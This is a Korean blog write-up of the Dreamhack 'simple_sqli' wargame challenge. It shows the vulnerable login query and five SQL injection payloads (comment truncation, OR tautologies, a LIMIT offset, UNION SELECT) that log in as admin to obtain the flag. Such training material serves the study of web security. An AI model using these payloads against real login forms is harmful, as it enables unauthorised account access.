WEB hacking/드림핵(dreamhack)

드림핵 simple_sqli Write Up

Roronoa 2023. 6. 20. 03:31
반응형

문제 설명

SQL injection을 통해 flag를 알아내면 된다.

문제 풀이

소스코드를 확인하면 admin으로 접속을 하면 flag를 출력한다.

[그림 1] Login 페이지

 

select * from users where userid="{userid}" and userpassword="{userpassword}"

위는 로그인시 SQL 쿼리문이다.

 

공격 방법 1

[그림 2] 공격 코드 1

공격 코드 : select * from users where userid="admin" -- " and userpassword="{userpassword}"

위의 공격코드에서 admin뒤에 -- 주석을 넣어 뒤에 코드를 주석처리 하였다. 따라서 userid가 admin인 계정을 반환하므로 문제를 해결할 수 있을것이다.!!

 

[그림 3] 문제 해결

공격에 성공하였고 flag를 출력하였다.

 

공격 방법 2

[그림 4] 공격 방법 2

공격 코드 : select * from users where userid="admin" or "1 " and userpassword="dummy"

 

공격 방법 3

[그림 5] 공격 방법 3

공격 코드 : select * from users where userid="admin" and userpassword="" or userid="admin"

 

공격 방법 4

[그림 6] 공격 방법 4

공격 코드 : select * from users where userid="admin" or 1 limit 1,1-- and userpassword="" or userid="admin"

limit 절은 특정 집합을 출력 시 출력하는 행의 수를 한정하는 역할을 한다.

ex) limit N,M은 N번째 부터 M개 보여준다.

 

공격 방법 5

[그림 7] 공격 방법 5

공격 코드 : select * from users where userid="dummy" and userpassword="" union select * from users where userid="admin"

 

union 문을 사용하여 userid가 admin인 계정으로 접속하였다.

 

반응형